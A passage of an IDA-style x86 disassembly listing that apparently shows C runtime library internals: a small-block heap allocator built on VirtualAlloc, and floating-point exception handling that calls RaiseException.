		cmp	dword ptr [ebx], 0FFFFFFFFh
		jnz	short loc_419BDD


loc_419BCC:				; CODE XREF: sub_419AB4+127j
		cmp	[ebp+var_4], 10h
		jge	short loc_419BDD
		add	eax, 8
		inc	[ebp+var_4]
		cmp	dword ptr [eax], 0FFFFFFFFh
		jz	short loc_419BCC


loc_419BDD:				; CODE XREF: sub_419AB4+116j
					; sub_419AB4+11Cj
		mov	eax, [ebp+var_4]
		push	4
		shl	eax, 0Ch
		push	1000h
		push	eax
		push	esi
		mov	[ebp+var_8], eax
		call	dword_421180	; VirtualAlloc
		cmp	eax, esi
		jnz	loc_419CB5
		push	0
		push	[ebp+var_8]
		push	esi
		call	sub_415390
		mov	edx, [ebp+var_4]
		add	esp, 0Ch
		test	edx, edx
		mov	ecx, ebx
		jle	short loc_419C44
		lea	eax, [esi+4]
		mov	[ebp+var_4], edx


loc_419C1A:				; CODE XREF: sub_419AB4+18Ej
		or	byte ptr [eax+0F4h], 0FFh
		lea	edx, [eax+4]
		mov	[eax-4], edx
		mov	edx, 0F0h
		mov	[eax], edx
		mov	[ecx], edx
		mov	dword ptr [ecx+4], 0F1h
		add	eax, 1000h
		add	ecx, 8
		dec	[ebp+var_4]
		jnz	short loc_419C1A


loc_419C44:				; CODE XREF: sub_419AB4+15Ej
		mov	off_43A630, edi
		lea	eax, [edi+2018h]


loc_419C50:				; CODE XREF: sub_419AB4+1A8j
		cmp	ecx, eax
		jnb	short loc_419C60
		cmp	dword ptr [ecx], 0FFFFFFFFh
		jz	short loc_419C5E
		add	ecx, 8
		jmp	short loc_419C50
; ---------------------------------------------------------------------------


loc_419C5E:				; CODE XREF: sub_419AB4+1A3j
		cmp	ecx, eax


loc_419C60:				; CODE XREF: sub_419AB4+19Ej
		sbb	eax, eax
		and	eax, ecx
		mov	[edi+0Ch], eax
		mov	eax, [ebp+arg_0]
		mov	[esi+8], al
		mov	[edi+8], ebx
		sub	[ebx], eax
		sub	[esi+4], eax
		lea	ecx, [esi+eax+8]
		lea	eax, [esi+100h]
		mov	[esi], ecx
		jmp	short loc_419CB7
; ---------------------------------------------------------------------------


loc_419C83:				; CODE XREF: sub_419AB4+F2j
		call	sub_4197BC
		test	eax, eax
		jz	short loc_419CB5
		mov	ecx, [eax+10h]
		mov	[ecx+8], bl
		lea	edx, [ecx+ebx+8]
		mov	off_43A630, eax
		mov	[ecx], edx
		mov	edx, 0F0h
		sub	edx, ebx
		mov	[ecx+4], edx
		movzx	edx, bl
		sub	[eax+18h], edx
		lea	eax, [ecx+100h]
		jmp	short loc_419CB7
; ---------------------------------------------------------------------------


loc_419CB5:				; CODE XREF: sub_419AB4+143j
					; sub_419AB4+1D6j
		xor	eax, eax


loc_419CB7:				; CODE XREF: sub_419AB4+D6j
					; sub_419AB4+1CDj ...
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_419AB4	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_419CBC	proc near		; CODE XREF: sub_419AB4+4Ap
					; sub_419AB4+99p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	ecx, [ebp+arg_0]
		mov	edx, [ebp+arg_8]
		push	ebx
		push	esi
		mov	esi, [ecx+4]
		push	edi
		mov	edi, [ecx]
		lea	ebx, [ecx+0F8h]
		cmp	esi, edx
		mov	[ebp+var_4], edi
		mov	eax, edi
		mov	[ebp+arg_0], ebx
		jb	short loc_419D01
		lea	eax, [edi+edx]
		mov	[edi], dl
		cmp	eax, ebx
		jnb	short loc_419CF0
		add	[ecx], edx
		sub	[ecx+4], edx
		jmp	short loc_419CF9
; ---------------------------------------------------------------------------


loc_419CF0:				; CODE XREF: sub_419CBC+2Bj
		and	dword ptr [ecx+4], 0
		lea	eax, [ecx+8]
		mov	[ecx], eax


loc_419CF9:				; CODE XREF: sub_419CBC+32j
		lea	eax, [edi+8]
		jmp	loc_419DCF
; ---------------------------------------------------------------------------


loc_419D01:				; CODE XREF: sub_419CBC+22j
		add	esi, edi
		cmp	byte ptr [esi],	0
		jz	short loc_419D0A
		mov	eax, esi


loc_419D0A:				; CODE XREF: sub_419CBC+4Aj
		lea	esi, [eax+edx]
		cmp	esi, ebx
		jnb	short loc_419D54


loc_419D11:				; CODE XREF: sub_419CBC+96j
		mov	bl, [eax]
		test	bl, bl
		jnz	short loc_419D47
		push	1
		lea	ebx, [eax+1]
		pop	esi


loc_419D1D:				; CODE XREF: sub_419CBC+68j
		cmp	byte ptr [ebx],	0
		jnz	short loc_419D26
		inc	ebx
		inc	esi
		jmp	short loc_419D1D
; ---------------------------------------------------------------------------


loc_419D26:				; CODE XREF: sub_419CBC+64j
		cmp	esi, edx
		jnb	short loc_419D78
		cmp	eax, [ebp+var_4]
		jnz	short loc_419D34
		mov	[ecx+4], esi
		jmp	short loc_419D40
; ---------------------------------------------------------------------------


loc_419D34:				; CODE XREF: sub_419CBC+71j
		sub	[ebp+arg_4], esi
		cmp	[ebp+arg_4], edx
		jb	loc_419DD9


loc_419D40:				; CODE XREF: sub_419CBC+76j
		mov	edi, [ebp+var_4]
		mov	eax, ebx
		jmp	short loc_419D4C
; ---------------------------------------------------------------------------


loc_419D47:				; CODE XREF: sub_419CBC+59j
		movzx	esi, bl
		add	eax, esi


loc_419D4C:				; CODE XREF: sub_419CBC+89j
		lea	esi, [eax+edx]
		cmp	esi, [ebp+arg_0]
		jb	short loc_419D11


loc_419D54:				; CODE XREF: sub_419CBC+53j
		lea	esi, [ecx+8]


loc_419D57:				; CODE XREF: sub_419CBC+EBj
					; sub_419CBC+F2j
		cmp	esi, edi
		jnb	short loc_419DD9
		lea	eax, [esi+edx]
		cmp	eax, [ebp+arg_0]
		jnb	short loc_419DD9
		mov	al, [esi]
		test	al, al
		jnz	short loc_419DA9
		push	1
		lea	ebx, [esi+1]
		pop	eax


loc_419D6F:				; CODE XREF: sub_419CBC+BAj
		cmp	byte ptr [ebx],	0
		jnz	short loc_419D99
		inc	ebx
		inc	eax
		jmp	short loc_419D6F
; ---------------------------------------------------------------------------


loc_419D78:				; CODE XREF: sub_419CBC+6Cj
		lea	ebx, [eax+edx]
		cmp	ebx, [ebp+arg_0]
		jnb	short loc_419D89
		sub	esi, edx
		mov	[ecx], ebx
		mov	[ecx+4], esi
		jmp	short loc_419D92
; ---------------------------------------------------------------------------


loc_419D89:				; CODE XREF: sub_419CBC+C2j
		and	dword ptr [ecx+4], 0
		lea	esi, [ecx+8]
		mov	[ecx], esi


loc_419D92:				; CODE XREF: sub_419CBC+CBj
		mov	[eax], dl
		add	eax, 8
		jmp	short loc_419DCF
; ---------------------------------------------------------------------------


loc_419D99:				; CODE XREF: sub_419CBC+B6j
		cmp	eax, edx
		jnb	short loc_419DB0
		sub	[ebp+arg_4], eax
		cmp	[ebp+arg_4], edx
		jb	short loc_419DD9
		mov	esi, ebx
		jmp	short loc_419D57
; ---------------------------------------------------------------------------


loc_419DA9:				; CODE XREF: sub_419CBC+ABj
		movzx	eax, al
		add	esi, eax
		jmp	short loc_419D57
; ---------------------------------------------------------------------------


loc_419DB0:				; CODE XREF: sub_419CBC+DFj
		lea	ebx, [esi+edx]
		cmp	ebx, [ebp+arg_0]
		jnb	short loc_419DC1
		sub	eax, edx
		mov	[ecx], ebx
		mov	[ecx+4], eax
		jmp	short loc_419DCA
; ---------------------------------------------------------------------------


loc_419DC1:				; CODE XREF: sub_419CBC+FAj
		and	dword ptr [ecx+4], 0
		lea	eax, [ecx+8]
		mov	[ecx], eax


loc_419DCA:				; CODE XREF: sub_419CBC+103j
		mov	[esi], dl
		lea	eax, [esi+8]


loc_419DCF:				; CODE XREF: sub_419CBC+40j
					; sub_419CBC+DBj
		imul	ecx, 0Fh
		shl	eax, 4
		sub	eax, ecx
		jmp	short loc_419DDB
; ---------------------------------------------------------------------------


loc_419DD9:				; CODE XREF: sub_419CBC+7Ej
					; sub_419CBC+9Dj ...
		xor	eax, eax


loc_419DDB:				; CODE XREF: sub_419CBC+11Bj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_419CBC	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_419DE0	proc near		; CODE XREF: sub_41737F+19Ap

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	edx, [ebp+arg_8]
		push	ebx
		mov	ebx, [ebp+arg_4]
		push	esi
		movzx	ecx, byte ptr [edx]
		push	edi
		mov	edi, [ebp+arg_0]
		and	[ebp+var_4], 0
		mov	eax, ebx
		sub	eax, [edi+10h]
		sar	eax, 0Ch
		cmp	ecx, [ebp+arg_C]
		lea	edi, [edi+eax*8+18h]
		jbe	short loc_419E1A
		mov	eax, [ebp+arg_C]
		sub	ecx, eax
		mov	[edx], al
		add	[edi], ecx
		mov	dword ptr [edi+4], 0F1h
		jmp	short loc_419E7A
; ---------------------------------------------------------------------------


loc_419E1A:				; CODE XREF: sub_419DE0+26j
		jnb	short loc_419E81
		mov	eax, [ebp+arg_C]
		lea	esi, [edx+eax]
		lea	eax, [ebx+0F8h]
		cmp	eax, esi
		jb	short loc_419E81
		lea	eax, [ecx+edx]


loc_419E2F:				; CODE XREF: sub_419DE0+59j
		cmp	eax, esi
		jnb	short loc_419E3D
		cmp	byte ptr [eax],	0
		jnz	short loc_419E3B
		inc	eax
		jmp	short loc_419E2F
; ---------------------------------------------------------------------------


loc_419E3B:				; CODE XREF: sub_419DE0+56j
		cmp	eax, esi


loc_419E3D:				; CODE XREF: sub_419DE0+51j
		jnz	short loc_419E81
		mov	al, byte ptr [ebp+arg_C]
		mov	[edx], al
		mov	eax, [ebx]
		cmp	edx, eax
		ja	short loc_419E75
		cmp	esi, eax
		jbe	short loc_419E75
		lea	eax, [ebx+0F8h]
		cmp	esi, eax
		jnb	short loc_419E6C
		xor	eax, eax
		mov	[ebx], esi
		cmp	[esi], al
		jnz	short loc_419E67


loc_419E60:				; CODE XREF: sub_419DE0+85j
		inc	eax
		cmp	byte ptr [esi+eax], 0
		jz	short loc_419E60


loc_419E67:				; CODE XREF: sub_419DE0+7Ej
		mov	[ebx+4], eax
		jmp	short loc_419E75
; ---------------------------------------------------------------------------


loc_419E6C:				; CODE XREF: sub_419DE0+76j
		and	dword ptr [ebx+4], 0
		lea	eax, [ebx+8]
		mov	[ebx], eax


loc_419E75:				; CODE XREF: sub_419DE0+68j
					; sub_419DE0+6Cj ...
		sub	ecx, [ebp+arg_C]
		add	[edi], ecx


loc_419E7A:				; CODE XREF: sub_419DE0+38j
		mov	[ebp+var_4], 1


loc_419E81:				; CODE XREF: sub_419DE0:loc_419E1Aj
					; sub_419DE0+4Aj ...
		mov	eax, [ebp+var_4]
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_419DE0	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __fastcall sub_419E89(int,int,double,int)

sub_419E89	proc near		; CODE XREF: sub_415D04+51p
					; sub_415E4B+51p

var_1C		= qword	ptr -1Ch
var_14		= qword	ptr -14h
var_C		= qword	ptr -0Ch
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		cmp	dword_43AD88, 0
		jnz	short loc_419EBE
		push	[ebp+arg_C]	; int
		fld	qword ptr [ebp+arg_4]
		push	ecx
		push	ecx		; double
		fstp	[esp+0Ch+var_C]
		push	ecx		; int
		push	ecx		; int
		fldz
		fstp	[esp+14h+var_14]
		fld	qword ptr [ebp+arg_4]
		push	ecx		; int
		push	ecx		; int
		fstp	[esp+1Ch+var_1C]
		push	[ebp+arg_0]	; int
		push	1		; int
		call	sub_41A43E
		add	esp, 24h
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_419EBE:				; CODE XREF: sub_419E89+Aj
		push	0FFFFh
		mov	dword_46BB04, 21h
		push	[ebp+arg_C]
		call	sub_41A6B1
		fld	qword ptr [ebp+arg_4]
		pop	ecx
		pop	ecx
		pop	ebp
		retn
sub_419E89	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __cdecl sub_419EDC(int,int,double,double,int)

sub_419EDC	proc near		; CODE XREF: sub_415D04:loc_415DC7p
					; sub_415E4B:loc_415F0Ep

var_74		= qword	ptr -74h
var_6C		= qword	ptr -6Ch
var_64		= qword	ptr -64h
var_5C		= dword	ptr -5Ch
var_58		= byte ptr -58h
var_20		= dword	ptr -20h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= qword	ptr  10h
arg_10		= qword	ptr  18h
arg_18		= dword	ptr  20h

		push	ebp
		mov	ebp, esp
		sub	esp, 58h
		push	[ebp+arg_18]
		lea	eax, [ebp+arg_10]
		push	eax
		push	[ebp+arg_0]
		call	sub_41A227
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_419F1A
		lea	eax, [ebp+arg_10]
		and	[ebp+var_20], 0FFFFFFFEh
		push	eax
		lea	eax, [ebp+arg_8]
		push	eax
		lea	eax, [ebp+arg_18]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		push	eax
		lea	eax, [ebp+var_58]
		push	eax
		call	sub_419F74
		add	esp, 18h


loc_419F1A:				; CODE XREF: sub_419EDC+1Aj
		push	[ebp+arg_0]
		call	sub_41A511
		cmp	dword_43AD88, 0
		pop	ecx
		jnz	short loc_419F58
		test	eax, eax
		jz	short loc_419F58
		push	[ebp+arg_18]	; int
		fld	[ebp+arg_10]
		push	ecx
		push	ecx		; double
		fstp	[esp+64h+var_64]
		push	ecx		; int
		push	ecx		; int
		fldz
		fstp	[esp+6Ch+var_6C]
		fld	[ebp+arg_8]
		push	ecx		; int
		push	ecx		; int
		fstp	[esp+74h+var_74]
		push	[ebp+arg_4]	; int
		push	eax		; int
		call	sub_41A43E
		add	esp, 24h
		leave
		retn
; ---------------------------------------------------------------------------


loc_419F58:				; CODE XREF: sub_419EDC+4Ej
					; sub_419EDC+52j
		push	eax
		call	sub_41A4C6
		mov	[esp+5Ch+var_5C], 0FFFFh
		push	[ebp+arg_18]
		call	sub_41A6B1
		fld	[ebp+arg_10]
		pop	ecx
		pop	ecx
		leave
		retn
sub_419EDC	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_419F74	proc near		; CODE XREF: sub_419EDC+36p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch

		push	ebp
		mov	ebp, esp
		mov	ecx, [ebp+arg_0]
		xor	eax, eax
		push	ebx
		push	esi
		mov	[ecx+4], eax
		mov	ecx, [ebp+arg_0]
		push	edi
		push	1
		mov	[ecx+8], eax
		mov	ecx, [ebp+arg_0]
		pop	ebx
		mov	[ecx+0Ch], eax
		mov	cl, byte ptr [ebp+arg_8]
		test	cl, 10h
		jz	short loc_419FA6
		mov	eax, [ebp+arg_0]
		mov	[ebp+arg_8], 0C000008Fh
		or	[eax+4], ebx


loc_419FA6:				; CODE XREF: sub_419F74+23j
		test	cl, 2
		jz	short loc_419FB9
		mov	eax, [ebp+arg_0]
		mov	[ebp+arg_8], 0C0000093h
		or	dword ptr [eax+4], 2


loc_419FB9:				; CODE XREF: sub_419F74+35j
		test	cl, bl
		jz	short loc_419FCB
		mov	eax, [ebp+arg_0]
		mov	[ebp+arg_8], 0C0000091h
		or	dword ptr [eax+4], 4


loc_419FCB:				; CODE XREF: sub_419F74+47j
		test	cl, 4
		jz	short loc_419FDE
		mov	eax, [ebp+arg_0]
		mov	[ebp+arg_8], 0C000008Eh
		or	dword ptr [eax+4], 8


loc_419FDE:				; CODE XREF: sub_419F74+5Aj
		test	cl, 8
		jz	short loc_419FF1
		mov	eax, [ebp+arg_0]
		mov	[ebp+arg_8], 0C0000090h
		or	dword ptr [eax+4], 10h


loc_419FF1:				; CODE XREF: sub_419F74+6Dj
		mov	esi, [ebp+arg_4]
		mov	eax, [ebp+arg_0]
		push	2
		mov	ecx, [esi]
		mov	edx, [eax+8]
		not	ecx
		and	ecx, ebx
		and	edx, 0FFFFFFEFh
		shl	ecx, 4
		or	ecx, edx
		pop	edi
		mov	[eax+8], ecx
		mov	ecx, [esi]
		mov	eax, [ebp+arg_0]
		not	ecx
		mov	edx, [eax+8]
		and	ecx, 4
		shl	ecx, 1
		and	edx, 0FFFFFFF7h
		or	ecx, edx
		mov	[eax+8], ecx
		mov	ecx, [esi]
		mov	eax, [ebp+arg_0]
		not	ecx
		mov	edx, [eax+8]
		shr	ecx, 1
		and	ecx, 4
		and	edx, 0FFFFFFFBh
		or	ecx, edx
		mov	[eax+8], ecx
		mov	ecx, [esi]
		mov	eax, [ebp+arg_0]
		not	ecx
		mov	edx, [eax+8]
		shr	ecx, 3
		and	ecx, edi
		and	edx, 0FFFFFFFDh
		or	ecx, edx
		mov	[eax+8], ecx
		mov	ecx, [esi]
		mov	eax, [ebp+arg_0]
		not	ecx
		mov	edx, [eax+8]
		shr	ecx, 5
		and	ecx, ebx
		and	edx, 0FFFFFFFEh
		or	ecx, edx
		mov	[eax+8], ecx
		call	sub_41A694
		test	al, bl
		jz	short loc_41A07A
		mov	ecx, [ebp+arg_0]
		or	dword ptr [ecx+0Ch], 10h


loc_41A07A:				; CODE XREF: sub_419F74+FDj
		test	al, 4
		jz	short loc_41A085
		mov	ecx, [ebp+arg_0]
		or	dword ptr [ecx+0Ch], 8


loc_41A085:				; CODE XREF: sub_419F74+108j
		test	al, 8
		jz	short loc_41A090
		mov	ecx, [ebp+arg_0]
		or	dword ptr [ecx+0Ch], 4


loc_41A090:				; CODE XREF: sub_419F74+113j
		test	al, 10h
		jz	short loc_41A09A
		mov	ecx, [ebp+arg_0]
		or	[ecx+0Ch], edi


loc_41A09A:				; CODE XREF: sub_419F74+11Ej
		test	al, 20h
		jz	short loc_41A0A4
		mov	eax, [ebp+arg_0]
		or	[eax+0Ch], ebx


loc_41A0A4:				; CODE XREF: sub_419F74+128j
		mov	eax, [esi]
		mov	ecx, 0C00h
		and	eax, ecx
		jz	short loc_41A0E3
		cmp	eax, 400h
		jz	short loc_41A0D5
		cmp	eax, 800h
		jz	short loc_41A0C9
		cmp	eax, ecx
		jnz	short loc_41A0E9
		mov	eax, [ebp+arg_0]
		or	dword ptr [eax], 3
		jmp	short loc_41A0E9
; ---------------------------------------------------------------------------


loc_41A0C9:				; CODE XREF: sub_419F74+147j
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax]
		and	ecx, 0FFFFFFFEh
		or	ecx, edi
		jmp	short loc_41A0DF
; ---------------------------------------------------------------------------


loc_41A0D5:				; CODE XREF: sub_419F74+140j
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax]
		and	ecx, 0FFFFFFFDh
		or	ecx, ebx


loc_41A0DF:				; CODE XREF: sub_419F74+15Fj
		mov	[eax], ecx
		jmp	short loc_41A0E9
; ---------------------------------------------------------------------------


loc_41A0E3:				; CODE XREF: sub_419F74+139j
		mov	eax, [ebp+arg_0]
		and	dword ptr [eax], 0FFFFFFFCh


loc_41A0E9:				; CODE XREF: sub_419F74+14Bj
					; sub_419F74+153j ...
		mov	eax, [esi]
		mov	ecx, 300h
		and	eax, ecx
		jz	short loc_41A114
		cmp	eax, 200h
		jz	short loc_41A107
		cmp	eax, ecx
		jnz	short loc_41A121
		mov	eax, [ebp+arg_0]
		and	dword ptr [eax], 0FFFFFFE3h
		jmp	short loc_41A121
; ---------------------------------------------------------------------------


loc_41A107:				; CODE XREF: sub_419F74+185j
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax]
		and	ecx, 0FFFFFFE7h
		or	ecx, 4
		jmp	short loc_41A11F
; ---------------------------------------------------------------------------


loc_41A114:				; CODE XREF: sub_419F74+17Ej
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax]
		and	ecx, 0FFFFFFEBh
		or	ecx, 8


loc_41A11F:				; CODE XREF: sub_419F74+19Ej
		mov	[eax], ecx


loc_41A121:				; CODE XREF: sub_419F74+189j
					; sub_419F74+191j
		mov	eax, [ebp+arg_0]
		mov	ecx, [ebp+arg_C]
		and	ecx, 0FFFh
		mov	edx, [eax]
		shl	ecx, 5
		and	edx, 0FFFE001Fh
		or	ecx, edx
		mov	[eax], ecx
		mov	eax, [ebp+arg_0]
		or	[eax+20h], ebx
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax+20h]
		and	ecx, 0FFFFFFE3h
		or	ecx, edi
		mov	[eax+20h], ecx
		mov	eax, [ebp+arg_10]
		fld	qword ptr [eax]
		mov	eax, [ebp+arg_0]
		fstp	qword ptr [eax+10h]
		mov	eax, [ebp+arg_0]
		or	[eax+50h], ebx
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax+50h]
		and	ecx, 0FFFFFFE3h
		or	ecx, edi
		mov	edi, [ebp+arg_14]
		mov	[eax+50h], ecx
		mov	eax, [ebp+arg_0]
		fld	qword ptr [edi]
		fstp	qword ptr [eax+40h]
		call	sub_41A6A2
		lea	eax, [ebp+arg_0]
		push	eax
		push	ebx
		push	0
		push	[ebp+arg_8]
		call	dword_421188	; RaiseException
		mov	eax, [ebp+arg_0]
		test	byte ptr [eax+8], 10h
		jz	short loc_41A19B
		and	dword ptr [esi], 0FFFFFFFEh


loc_41A19B:				; CODE XREF: sub_419F74+222j
		test	byte ptr [eax+8], 8
		jz	short loc_41A1A4
		and	dword ptr [esi], 0FFFFFFFBh


loc_41A1A4:				; CODE XREF: sub_419F74+22Bj
		test	byte ptr [eax+8], 4
		jz	short loc_41A1AD
		and	dword ptr [esi], 0FFFFFFF7h


loc_41A1AD:				; CODE XREF: sub_419F74+234j
		test	byte ptr [eax+8], 2
		jz	short loc_41A1B6
		and	dword ptr [esi], 0FFFFFFEFh


loc_41A1B6:				; CODE XREF: sub_419F74+23Dj
		test	[eax+8], bl
		jz	short loc_41A1BE
		and	dword ptr [esi], 0FFFFFFDFh


loc_41A1BE:				; CODE XREF: sub_419F74+245j
		mov	ecx, [eax]
		mov	edx, 0FFFFF3FFh
		and	ecx, 3
		sub	ecx, 0
		jz	short loc_41A1F2
		dec	ecx
		jz	short loc_41A1E6
		dec	ecx
		jz	short loc_41A1DC
		dec	ecx
		jnz	short loc_41A1F4
		or	byte ptr [esi+1], 0Ch
		jmp	short loc_41A1F4
; ---------------------------------------------------------------------------


loc_41A1DC:				; CODE XREF: sub_419F74+25Dj
		mov	ecx, [esi]
		and	ch, 0FBh
		or	ch, 8
		jmp	short loc_41A1EE
; ---------------------------------------------------------------------------


loc_41A1E6:				; CODE XREF: sub_419F74+25Aj
		mov	ecx, [esi]
		and	ch, 0F7h
		or	ch, 4


loc_41A1EE:				; CODE XREF: sub_419F74+270j
		mov	[esi], ecx
		jmp	short loc_41A1F4
; ---------------------------------------------------------------------------


loc_41A1F2:				; CODE XREF: sub_419F74+257j
		and	[esi], edx


loc_41A1F4:				; CODE XREF: sub_419F74+260j
					; sub_419F74+266j ...
		mov	ecx, [eax]
		shr	ecx, 2
		and	ecx, 7
		sub	ecx, 0
		jz	short loc_41A214
		dec	ecx
		jz	short loc_41A20B
		dec	ecx
		jnz	short loc_41A21D
		and	[esi], edx
		jmp	short loc_41A21D
; ---------------------------------------------------------------------------


loc_41A20B:				; CODE XREF: sub_419F74+28Ej
		mov	ecx, [esi]
		and	ecx, edx
		or	ch, 2
		jmp	short loc_41A21B
; ---------------------------------------------------------------------------


loc_41A214:				; CODE XREF: sub_419F74+28Bj
		mov	ecx, [esi]
		and	ecx, edx
		or	ch, 3


loc_41A21B:				; CODE XREF: sub_419F74+29Ej
		mov	[esi], ecx


loc_41A21D:				; CODE XREF: sub_419F74+291j
					; sub_419F74+295j
		fld	qword ptr [eax+40h]
		fstp	qword ptr [edi]
		pop	edi
		pop	esi
		pop	ebx
		pop	ebp
		retn
sub_419F74	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41A227	proc near		; CODE XREF: sub_419EDC+10p

var_24		= qword	ptr -24h
var_C		= qword	ptr -0Ch
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		mov	eax, [ebp+arg_0]
		push	ebx
		push	edi
		mov	edi, eax
		and	edi, 1Fh
		push	1
		test	al, 8
		pop	ebx
		jz	short loc_41A252
		test	byte ptr [ebp+arg_8], bl
		jz	short loc_41A252
		push	ebx
		call	sub_41A6D4
		pop	ecx
		and	edi, 0FFFFFFF7h
		jmp	loc_41A41C
; ---------------------------------------------------------------------------


loc_41A252:				; CODE XREF: sub_41A227+15j
					; sub_41A227+1Aj
		test	al, 4
		jz	short loc_41A26C
		test	byte ptr [ebp+arg_8], 4
		jz	short loc_41A26C
		push	4
		call	sub_41A6D4
		pop	ecx
		and	edi, 0FFFFFFFBh
		jmp	loc_41A41C
; ---------------------------------------------------------------------------


loc_41A26C:				; CODE XREF: sub_41A227+2Dj
					; sub_41A227+33j
		test	al, bl
		jz	loc_41A346
		test	byte ptr [ebp+arg_8], 8
		jz	loc_41A346
		push	8
		call	sub_41A6D4
		pop	ecx
		mov	eax, 0C00h
		mov	ecx, [ebp+arg_8]
		and	ecx, eax
		jz	loc_41A31E
		cmp	ecx, 400h
		jz	short loc_41A2F6
		cmp	ecx, 800h
		jz	short loc_41A2CE
		cmp	ecx, eax
		jnz	loc_41A33E
		mov	ecx, [ebp+arg_4]
		fld	qword ptr [ecx]
		fcomp	dbl_4217E0
		fld	dbl_43A720
		fnstsw	ax
		sahf
		ja	short loc_41A2C6
		fchs


loc_41A2C6:				; CODE XREF: sub_41A227+9Bj
		fstp	[ebp+var_C]
		fld	[ebp+var_C]
		jmp	short loc_41A33C
; ---------------------------------------------------------------------------


loc_41A2CE:				; CODE XREF: sub_41A227+7Dj
		mov	ecx, [ebp+arg_4]
		fld	qword ptr [ecx]
		fcomp	dbl_4217E0
		fnstsw	ax
		sahf
		jbe	short loc_41A2E6
		fld	dbl_43A710
		jmp	short loc_41A2EE
; ---------------------------------------------------------------------------


loc_41A2E6:				; CODE XREF: sub_41A227+B5j
		fld	dbl_43A720
		fchs


loc_41A2EE:				; CODE XREF: sub_41A227+BDj
		fstp	[ebp+var_C]
		fld	[ebp+var_C]
		jmp	short loc_41A33C
; ---------------------------------------------------------------------------


loc_41A2F6:				; CODE XREF: sub_41A227+75j
		mov	ecx, [ebp+arg_4]
		fld	qword ptr [ecx]
		fcomp	dbl_4217E0
		fnstsw	ax
		sahf
		jbe	short loc_41A30E
		fld	dbl_43A720
		jmp	short loc_41A316
; ---------------------------------------------------------------------------


loc_41A30E:				; CODE XREF: sub_41A227+DDj
		fld	dbl_43A710
		fchs


loc_41A316:				; CODE XREF: sub_41A227+E5j
		fstp	[ebp+var_C]
		fld	[ebp+var_C]
		jmp	short loc_41A33C
; ---------------------------------------------------------------------------


loc_41A31E:				; CODE XREF: sub_41A227+69j
		mov	ecx, [ebp+arg_4]
		fld	qword ptr [ecx]
		fcomp	dbl_4217E0
		fld	dbl_43A710
		fnstsw	ax
		sahf
		ja	short loc_41A336
		fchs


loc_41A336:				; CODE XREF: sub_41A227+10Bj
		fstp	[ebp+var_C]
		fld	[ebp+var_C]


loc_41A33C:				; CODE XREF: sub_41A227+A5j
					; sub_41A227+CDj ...
		fstp	qword ptr [ecx]


loc_41A33E:				; CODE XREF: sub_41A227+81j
		and	edi, 0FFFFFFFEh
		jmp	loc_41A41C
; ---------------------------------------------------------------------------


loc_41A346:				; CODE XREF: sub_41A227+47j
					; sub_41A227+51j
		test	al, 2
		jz	loc_41A41C
		test	byte ptr [ebp+arg_8], 10h
		jz	loc_41A41C
		push	esi
		xor	esi, esi
		test	al, 10h
		jz	short loc_41A361
		mov	esi, ebx


loc_41A361:				; CODE XREF: sub_41A227+136j
		mov	eax, [ebp+arg_4]
		fld	qword ptr [eax]
		fstp	[ebp+var_C]
		fld	[ebp+var_C]
		fcomp	dbl_4217E0
		fnstsw	ax
		sahf
		jz	loc_41A40A
		fld	[ebp+var_C]
		lea	eax, [ebp+var_4]
		push	eax		; int
		push	ecx
		push	ecx		; double
		fstp	[esp+24h+var_24]
		call	sub_41A5D3
		mov	eax, [ebp+var_4]
		add	esp, 0Ch
		fstp	[ebp+var_C]
		lea	ecx, [eax-600h]
		cmp	ecx, 0FFFFFBCEh
		jge	short loc_41A3AC
		fldz
		mov	esi, ebx
		fstp	[ebp+var_C]
		jmp	short loc_41A400
; ---------------------------------------------------------------------------


loc_41A3AC:				; CODE XREF: sub_41A227+17Aj
		fld	[ebp+var_C]
		fcomp	dbl_4217E0
		fnstsw	ax
		sahf
		jnb	short loc_41A3BE
		mov	edx, ebx
		jmp	short loc_41A3C0
; ---------------------------------------------------------------------------


loc_41A3BE:				; CODE XREF: sub_41A227+191j
		xor	edx, edx


loc_41A3C0:				; CODE XREF: sub_41A227+195j
		mov	al, byte ptr [ebp+var_C+6]
		and	eax, 0Fh
		or	al, 10h
		mov	word ptr [ebp+var_C+6],	ax
		mov	eax, 0FFFFFC03h
		cmp	ecx, eax
		jge	short loc_41A3F4
		sub	eax, ecx


loc_41A3D7:				; CODE XREF: sub_41A227+1CBj
		test	byte ptr [ebp+var_C], bl
		jz	short loc_41A3E2
		test	esi, esi
		jnz	short loc_41A3E2
		mov	esi, ebx


loc_41A3E2:				; CODE XREF: sub_41A227+1B3j
